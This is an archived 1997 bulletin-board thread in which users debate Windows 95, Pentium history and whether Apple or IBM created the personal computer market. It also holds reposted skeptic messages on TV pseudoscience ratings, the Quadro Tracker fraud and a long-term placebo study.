95. But don't assu DT> that, just because a system is simple, it doesn't have depth, too. I am not. In fact, I am aware that there is a lot of Mac equipment out that has ben specially designed for highly technical tasks, like printing and film. Most of the new film special effects were created in Mac of Mac-like systems. ------------------------------------------------------------------------------- From: FROGGY To: Dave The Lucky Subject: Re: Windows 95... bye bye Date: Fri Jan 31 12:13:29 CST 1997 Message number: 109 Reply to message number: 107 BT> Why do you think that the technology is 21 years old? 1997-21=1976.. That DT> Because it is that old. In industry designation, the Pentium processor in DT> they really are are chip architectures. And the "Pentium" (or x87) DT> architecture has been around since the release of the first Intel chips for DT> workstations back in the mid 1970's. It's just that nobody thought to call Doh! That is what has been bugging me. There was something that I have also carried around since the mid-70s that I thought that those chips were also used in the earlier workstations. Were they part of the architecture of the rainbows? ------------------------------------------------------------------------------- From: FATAL ERROR To: Dave The Lucky Subject: Re: Windows 95... bye bye Date: Fri Jan 31 16:35:07 CST 1997 Message number: 110 Reply to message number: 106 I dont think I could learn Linux in a month... Im having enough troubles with .ASM!!! ------------------------------------------------------------------------------- From: BIG TEEBO To: Dave The Lucky Subject: Re: Windows 95... bye bye Date: Fri Jan 31 16:46:33 CST 1997 Message number: 111 Reply to message number: 107 DT> Because it is that old. In industry designation, the Pentium processor in DT> computer I use at work is actually called the "Intel 487". In fact, up unt How could this be though? Let's work with something simple, 386s would have to of been available as well at this point in time if 487s were, correct? So why was the industry so lagged that it was just starting to put out TRS-80s? If Intel had such space-age technology, they could of dazzeled the world - and made billions (if not trillions) of $$$ doing it, not to mention speeding up the process of several aspects of computer technology by several years..? *teebo ------------------------------------------------------------------------------- From: FROGGY To: Big Teebo Subject: Re: Windows 95... bye bye Date: Fri Jan 31 18:01:59 CST 1997 Message number: 112 Reply to message number: 111 DT> Because it is that old. In industry designation, the Pentium processor in DT> computer I use at work is actually called the "Intel 487". In fact, up unt BT> BT> How could this be though? Let's work with something simple, 386s would hav BT> to of been available as well at this point in time if 487s were, correct? Because at that time, computers were thought of as high-level and expensive business machines. Computer installations were carefully controlled and even the company's programmers were not allowed to actually handle the computer. Chips like this were designed as adjuncts to systems like this. It took a huge leap of fantasy for people to believe that there was actually a desire for small home computers. That is what is so remarkable about what Wozniac and Jobs did. Wozniac actually designed and built such a computer and Jobs convinced the world that it was a good and desirable thing. They wouldn't have used 386 chips or higher because such power in any computer at that time was unfathomable. Sort of in the same category as building a street car that goes 300 mph. Why? There is no use for it anyway. ------------------------------------------------------------------------------- From: DAVE THE LUCKY To: Fatal Error Subject: Re: Windows 95... bye bye Date: Sun Feb 02 05:34:50 CST 1997 Message number: 113 Reply to message number: 110 FE> I dont think I could learn Linux in a month... Im having enough troubles wi FE> .ASM!!! You didn't see Paul during that month...the rest of us would get together to watch videos or play board games, and Paul would sequester himself in his computer room with his Linux manual for the whole evening. His girlfriend told me he was bringing it into bed with him... ------------------------------------------------------------------------------- From: DAVE THE LUCKY To: Big Teebo Subject: Re: Windows 95... bye bye Date: Sun Feb 02 05:44:41 CST 1997 Message number: 114 Reply to message number: 111 BT> If Intel had such space-age technology, they could of dazzeled the world - BT> made billions (if not trillions) of $$$ doing it, not to mention speeding u BT> the process of several aspects of computer technology by several years..? Sorry, I'm not following. Space-age technology? We had space-age techology in the 1960's. Anyway, those of you with more detailed knowledge of chips and design can correct me if I'm wrong, but "Pentium" is no more a gee-whiz advance in chip tech than "MMX" is now--it's just an additional set of built-in commands in which normally complex tasks (like summing multiple products, etc.) can be performed with a single action. The new chip performs much faster than the old, because what used to take multiple time-slices now only takes one or two. There's all kinds of other distinctions between Pentium and PowerPC chips, like registers and FPU and such, but I'm a theatre major by trade and, though I could parrot stuff in the books I own, I wouldn't really understand what the big deal was. The entire gist of my response is this: the "wonderful Pentium processor" is almost entirely a media ploy. ------------------------------------------------------------------------------- From: DAVE THE LUCKY To: Froggy Subject: Re: Windows 95... bye bye Date: Sun Feb 02 05:55:11 CST 1997 Message number: 115 Reply to message number: 112 F> That is what is so remarkable about what F> Wozniac and Jobs did. Wozniac actually designed and built such a computer a F> Jobs convinced the world that it was a good and desirable thing. They F> wouldn't have used 386 chips or higher because such power in any computer at F> that time was unfathomable. Sort of in the same category as building a stre F> car that goes 300 mph. Why? There is no use for it anyway. Thanks for the support, Froggy, but as much as I'd like to think it so, Apple didn't create the personal computer market: IBM did. It's kind of funny, because had IBM realized what a huge market personal computers would become (and nobody but SF people and futurists seemed to even partially grasp the picture back then), they probably wouldn't have made the single biggest decision which shaped the world of personal computing today. Back in 1981, an IBM IS group in Boca Raton, FL responsible for the development of the new IBM-PC decided to bypass the huge IBM bureaucracy and farm out two major projects on the program to third party vendors. First, since existing IBM chip construction plants were devoted to IBM's huge line of mainframes and mini-computers, the IS group signed a supply contract with Intel Corp., then a small player in the chip game, to supply the chip for the first generation PC. (Apparently the idea was that when the big brass saw how marketable the idea was, they'd clear some space and get some "real" chips down to the PC guys.) Secondly, since IBM's own software division was notorious at the time for not being able to make deadlines, the IS group similarly signed a contract with Microsoft Corp., then almost literally a "garage business" in Seattle, to provide the OS. This single set of actions not only put the foot in the door for both Intel and Microsoft, but also helped to create the current atmosphere among software providers (particularly Microsoft) that "we don't care if it works, just get it out on time". [Windows 95, anyone?] ------------------------------------------------------------------------------- From: FROGGY To: Dave The Lucky Subject: Re: Windows 95... bye bye Date: Sun Feb 02 11:02:11 CST 1997 Message number: 116 Reply to message number: 115 DT> Thanks for the support, Froggy, but as much as I'd like to think it so, App DT> didn't create the personal computer market: IBM did. DT> Nope. Apple was. If you check your dates, you will see that Wozniac and Jobs had the first apple computers in the market first. They got the idea from attending user's groups, which were dinking around with Altair, TRS, and several other less-than-useful computers. They listened to the users, set up an octal architechture, and wrote Applesoft as an operating system. Then they adapted BASIC into Applesoft BASIC, because BASIC was the most common and easily used language at the time. Of course, it was not until they introduced the Apple ii that they were also able to use compiled languages like FORTRAN, COBOL, and compiled BASIC. DT> Back in 1981, an IBM IS group in Boca Raton, FL responsible for the DT> development of the new IBM-PC decided to bypass the huge IBM bureaucracy an DT> farm out two major projects on the program to third party vendors. First, The first Apple computer was in the market a couple of years before this. IBM was dragging its feet because they already had the market in business computers and simply didn't believe that there was a market for small computers in the home. Meanwhile, Control Data had been making inroads with its terminal/mainframe system, Plato, and Jobs and Wozniac did what users today are doing -- saw the opportunity and pounced on it. The reason I know this is that in the early 80's, I was at CDC working on a Plato system and writing some material for it. Needless to say, Jobs and Wozniac buried Plato too. :) Along with my job. DT> farm out two major projects on the program to third party vendors. First, DT> since existing IBM chip construction plants were devoted to IBM's huge line DT> mainframes and mini-computers, the IS group signed a supply contract with DT> Intel Corp., then a small player in the chip game, to supply the chip for t DT> first generation PC. (Apparently the idea was that when the big brass saw This part of the story is accurate, except for the time frame. DT> down to the PC guys.) Secondly, since IBM's own software division was DT> notorious at the time for not being able to make deadlines, the IS group DT> similarly signed a contract with Microsoft Corp., then almost literally a DT> "garage business" in Seattle, to provide the OS. DT> That is because of IBM's commitment to both their employees and in the support of their products. At that time the uses for computers were advancing so fast that as fast as IBM started to develop a new computer, one of those small companies would introduce some kind of software that IBM didn't know was needed, like spreadsheets. So they were sort of having to work double-time, maintaining old software and writing new software. My ex-husband is a software engineer who worked as a contractor for IBM from 1976 to 1984, maintaining some of the older software systems. ------------------------------------------------------------------------------- From: FATAL ERROR To: Dave The Lucky Subject: Re: Windows 95... bye bye Date: Sun Feb 09 14:57:21 CST 1997 Message number: 117 Reply to message number: 113 DT> You didn't see Paul during that month...the rest of us would get together t DT> watch videos or play board games, and Paul would sequester himself in his DT> computer room with his Linux manual for the whole evening. His girlfriend DT> told me he was bringing it into bed with him... hehehe... heheh... and hehehe... But uhhh... Who is Paul??? Sorry ive been gone for so long... so whats up? ------------------------------------------------------------------------------- From: DAVE THE LUCKY To: Froggy Subject: Re: Windows 95... bye bye Date: Sat Feb 15 11:27:04 CST 1997 Message number: 118 Reply to message number: 115 DT> Thanks for the support, Froggy, but as much as I'd like to think it so, App DT> didn't create the personal computer market: IBM did. F> Nope. Apple was. If you check your dates, you will see that Wozni F> and Jobs had the first apple computers in the market first. They got the F> idea from attending user's groups, which were dinking around with Altair, TR F> and several other less-than-useful computers. Froggy, you are absolutely correct; I stand in shame at my ignorance. Still, except for the development of the Macintosh (Jobs & Wozniak's great white elephant), Apple seems to have had little impact on shaping the personal computer playing field as it exists today. ------------------------------------------------------------------------------- From: DAVE THE LUCKY To: Fatal Error Subject: Re: Windows 95... bye bye Date: Sat Feb 15 11:28:09 CST 1997 Message number: 119 Reply to message number: 116 FE> hehehe... heheh... and hehehe... But uhhh... Who is Paul??? Paul is my computer geek friend. He has a five-machine IPX hub, and we sometimes waste an entire weekend playing Warcraft II over his network. He's learned his Linux now, so he has more time to play. ------------------------------------------------------------------------------- From: FROGGY To: Dave The Lucky Subject: Re: Windows 95... bye bye Date: Sat Feb 15 12:59:56 CST 1997 Message number: 120 Reply to message number: 118 F> Nope. Apple was. If you check your dates, you will see that Wozni F> and Jobs had the first apple computers in the market first. They got the F> idea from attending user's groups, which were dinking around with Altair, TR F> and several other less-than-useful computers. DT> DT> Froggy, you are absolutely correct; I stand in shame at my ignorance. DT> DT> Still, except for the development of the Macintosh (Jobs & Wozniak's great DT> white elephant), Apple seems to have had little impact on shaping the perso DT> computer playing field as it exists today. Thanks. Unfortunately, I know some of these things because I am old and crusty and was there when they happened. :( The main effect that Jobs and Wozniac had on the PC industry was a paradigm shift. Until they were crazy enough to actually do it, nobody believed that anyone was capable of having, or would even WANT a computer in his home. After they did it and began selling hundreds of them, IBM, Gates, and the others also realized that there *was* really a market here and set out to do it better, ------------------------------------------------------------------------------- From: GRIFFIN To: Froggy Subject: Macs and movie effects Date: Sat Feb 22 12:19:14 CST 1997 Message number: 121 Reply to message number: 108 DT> Microsoft has evolved from MS-DOS to Windows to Windows 95. But don't assu DT> that, just because a system is simple, it doesn't have depth, too. F> F> I am not. In fact, I am aware that there is a lot of Mac equipment F> out that has ben specially designed for highly technical tasks, like printin F> and film. Most of the new film special effects were created in Mac of F> Mac-like systems. I doubt this very much. Most of the hardcore special effects are done on SGI machines because only they have the raw proccessing power along with suitable graphics cards. There are also suns and alphas, both used somewhat also. ------------------------------------------------------------------------------- From: SANDMAN To: ALL Subject: Sci Date: Fri May 02 17:13:21 CDT 1997 Message number: 122 Reply to message number: unavailable Ä Area: Skeptic ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Msg#: 309 Date: 04-16-97 21:47 From: Sheppard Gordon Read: Yes Replied: No To: All Mark: Subj: Pseudoscience/Quadro ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ How do TV's pseudoscience specials rate? And the case of the Quadro Tracker. 01/97 Skeptical Inquirer How popular are pseudoscience specials on television? Not particularly. A check of the Nielsen ratings for eight such programs that aired during the winter and sprang of 1996 reveals that such shows never win their time slot and often come out near the bottom of the heap in the ratings race. Yet the impact of a poorly rated show can still be enormous, with millions of people exposed to warped facts in a world where good science is often swamped by bogus blather. Consider the lowest-rated show of the eight: "Psychic Detectives," which aired on the fledgling United Paramount Network (UPN) on February 6. It drew only 3 percent of the people watching television. It was the lowest-rated show for the network, the lowest-rated show of the evening, and the lowest- rated special to be aired that week. Yet 2.5 million people saw the program, in which psychics seemed to be giving new clues to unsolved mysteries and no reliable tests were done with solved crimes to see if the psychics had any talent in the first place. The highest-rated pseudoscience shows all appeared on NBC. "Prophecies III" (February 28) got 14 percent of the viewers - nearly 13 million individuals. "Prophecies IV" (June 8) pulled in 13 percent of the audience, or 8.8 million viewers. Both were two-hour programs that used dramatic music and selectively presented information to give an uncritical look at forecasts about the fate of the world. A February 4 special on Atlantis was on 12 percent of the television sets turned on during that time slot (an estimated 11.3 million viewers), and a June 8 repeat of "The Mysterious Origins of Man" special, which said that dinosaurs and humans lived at the same time, also got a 12 percent share, or 6.9 million viewers. The other three shows in this sample were "Put to the Test" (April 29, ABC), which garnered 8 percent of the audience; "Miracles and Visions" (March 31, Fox), which got 7 percent; and "Real Ghosts 3" (February 13, UPN) with 4 percent. To put these numbers in perspective, the top-rated comedy series Seinfeld typically is on about 32 percent of the television sets in use on Thursday evenings and has about 32 million viewers. The X-Files has gotten nearly 11 million viewers and a share of 19 percent. Clearly the networks aren't airing these shows because they draw huge ratings. Although the "Origins of Man" rerun and "Prophecies IV" won second place in their timeslots for NBC, those two programs still ranked as the two lowest-rated shows that the network aired that week. The UPN, Fox, and ABC programs also ended up at the bottom of the ratings barrel for each respective network. So why do the networks keep airing pseudoscience specials? First, they're cheaper to produce than entertainment programs and specials. In addition, producers hoping to score big ratings and, ultimately, get a commitment for a weekly series may be willing to sell a show to a network for a bargain-basement price. Such programs may also be used for "counter-programming," in which a network offers a radical alternative on a night when it can't get respectable ratings anyway. "Prophecies III," for example, did very well (with a 14 percent share) even though it was pitted against the Grammy Awards on CBS, which drew 23 percent of the viewing audience. Finally, the networks sometimes have a financial interest in such specials, according to my colleague John Martin, the television writer at the Providence Journal-Bulletin. Broadcasting them may be part of a push to sell the programs to other countries or promote sales if the show is going to be available on videocassette. Pseudoscience specials may not be the most popular fare on the tube, but the willingness of the networks to broadcast them in the face of mediocre ratings demonstrates that the programs are giving the networks a return on their investments. And with the pseudoscience theme more popular than ever, things show no signs of changing. One of the few bright lights in the medias coverage of the paranormal in 1996 came from Dateline NBC when it aired its expose of the Quadro Tracker, also known as the Positive Molecular Locator. The Quadro Corporation in Harleyville, South Carolina, which made the Tracker, claimed the device could be used to find drugs, weapons, explosives, currency, drug users, and missing people from one hundred miles away or more. Ranging in cost from $400 to $8,000 and consisting of a retractable portable radio antenna mounted on a handle, it was essentially a dowsing rod, sensitive to the subconscious hand movements of the operator. The customer slipped a large plastic "programming chip" (also known as a "locator card," "tuned frequency chip," or "signature card") labeled "gunpowder," "marijuana, " "cocaine," or whatever the operator was looking for into the device, and the antenna was supposed to point the way. The device was also sold as the Golfball Gopher to help golfers find lost balls, and Quadro had suggested that it could be used to pinpoint both people and donated blood infected with the AIDS virus. More than a thousand units were sold to police departments, school systems, and correction facilities based on testimonials and "tests" in which Quadro personnel were present or the unsuspecting operator knew the direction of the object he was searching for and unconsciously let the antenna point to it. "I was probably as skeptical as they come, but I've seen it work," said the security director for one Kansas school system, demonstrating how skepticism is useless when people don't understand science, especially human psychology. Quadro, in its product literature, said the Tracker "consists of an inductor, conductor, and an oscillator." When researchers at Sandia National Laboratories in Albuquerque, New Mexico, examined the device at the request of the National Institute of Justice (NIJ), X-ray photos showed no such thing. "There are no electronics, motors, or any other electrical devices inside the handle," according to the Sandia report, released through the NIJ. When the researchers opened the gunpowder chip, they uncovered a piece of plastic- coated paper that couldn't conduct electricity and had no trace of gunpowder. One chip, according to an Associated Press report, "contained dead ants that had been frozen and put on paper with epoxy glue." Based on all the test results, the Beaumont, Texas, office of the FBI issued a statement calling the device "a fraud." If such a device really worked, it would be relatively simple to test it under conditions that would reduce the likelihood of luck or fraud. But the school officials and police officers who purchased Trackers, in a living testament to the sorry state of critical thinking skills among supposedly educated people, obviously had no idea how to perform such a test. Dateline NBC, after "consulting magician James Randi, did. First they collected testimonials from believers, including the assertion by Quadro vice president Raymond L. Fisk that the Tracker had a 90 percent success rate. Then the Dateline staff conducted some on-camera experiments to see if the device could live up to the claims. In one, the security consultant for the fifty-one schools in Seminole County, Florida, was unable to identify the locker that contained a pouch of marijuana. Using the Tracker, he later walked right past the pouch when it was resting in the pocket of NBC reporter Lea Thompson. In another test, a man trained by Quadro failed to select a film canister with marijuana in four out of five trials, a result expected by chance. Two months later, on April 22, United States District Court Judge Thad Heartfield granted a permanent injunction against Quadro, saying the company, Fisk, and two other top officials were "engaged in a scheme to defraud" because "the defendants knew that there was no reasonable scientific basis" for Quadro's claims. The case of the Quadro Tracker was more than the case of a device that did not live up to its claims. In his decision, Heartfield noted that the lives of innocent people can be ruined if they're falsely accused of possessing drugs, law enforcement officials risk having legitimate cases thrown out of court if they are tainted by the use of questionable techniques, and a reliance on a Quadro Tracker "poses a danger to anyone relying on the device" to keep weapons or explosives out of schools, airports, or office buildings. The case was yet another example of how belief in pseudoscience isn't as harmless as many people think. ... BREAKFAST.COM Halted...Cereal Port Not Responding. ___ Blue Wave/DOS v2.30 [NR] ------------------------------------------------------------------------------- From: SANDMAN To: ALL Subject: Placebo Date: Fri May 02 17:13:32 CDT 1997 Message number: 123 Reply to message number: unavailable Ä Area: Skeptic ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ From: David Bloomberg Read: Yes Replied: No Subj: Long-Term Placebo Effect ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Power of Placebo Lasts for Years April 17, 1997 NEW YORK (Reuters) - One dictionary defines a placebo as "a medicine given merely to humor the patient." Another calls it an "inactive substance given to satisfy a patient's demand for medicine." No matter how you describe them, the power of placebos to convince patients that they feel better has been observed for centuries. Now, a new study has found that the "placebo effect" can last for years. Researchers testing the effectiveness of a new drug used for treating enlarged prostates discovered that patients taking placebos - or fake pills - showed significantly improved symptoms and urinary flow, even after two years of treatment. The Canadian study involved 613 patients with benign prostatic hyperplasia, or BPH, a condition that affects more than 80% of men between the ages of 50 and 60. Nearly half of the group, 303 men, were taking a placebo - a standard practice in drug testing. The other patients with the condition were given the drug Proscar (finasteride), made by Merck & Company. Neither the patients, nor their doctors, knew what treatment they were assigned. For just over two years (25 months), the researchers analyzed the effect of either the drug or placebo therapy on a patient's prostate size, urine flow, symptoms, and adverse drug reactions. Tests showed that patients taking finasteride averaged a 21% reduction in the size of their prostates, while patients on placebo experienced an 8.4% growth. To the researchers' surprise, however, urinary flow in the placebo group improved significantly within the first five months, and remained improved for the duration of the study. "What surprised us most was the durability of the response," said Dr. J. Curtis Nickel, professor of urology at Queen's University, in Kingston, Ontario. "We've always known that this disease responds to placebo. But the previous studies were short -- 12 to 16 weeks, a year. Our study was probably the longest." Although slightly more than 50% of the patients taking placebo showed improvement during the study, most also reported side effects. More than 80% reported adverse effects from the "drug" such as nausea, sleepiness, and dizziness. The most common complaints noted were impotence (6.3%) and decreased libido (6.3%). Thirteen percent of patients on placebo reported symptoms so severe that they discontinued treatment. "These results confirm our suspicion that placebo therapy not only works and that the benefits are durable, but also that these benefits are not without potential clinical side effects," said Nickel. Patients with smaller prostate glands did the best on placebo, according to the study, with more than 15% of them showing significant improvement at two years. Men with larger prostate glands showed some initial improvement on placebo, but the effect faded. "At the end of two years, they were no better than they were before," said Nickel. When patients were finally told what treatment they were on, those on placebo were confused, says Nickel. "They wanted to know if we perhaps had made a mistake. They wanted to continue to feel as good as they did." Nickel believes the findings have important implications for both doctors and patients. "As physicians, we stop many medications because the patient feels a little nauseated, tired, dizzy, and we think it might be related to the drug. So we stop it and the patient gets better. Was that a real drug effect, (or a placebo effect)?" The study results were announced at the annual scientific meeting of the American Urological Association in New Orleans. -!- msgedsq 2.0.5 ! Origin: Let the love of truth shine clear (1:2430/2112) ... Instead of being "born again," why not just grow up? ___ Blue Wave/DOS v2.30 [NR]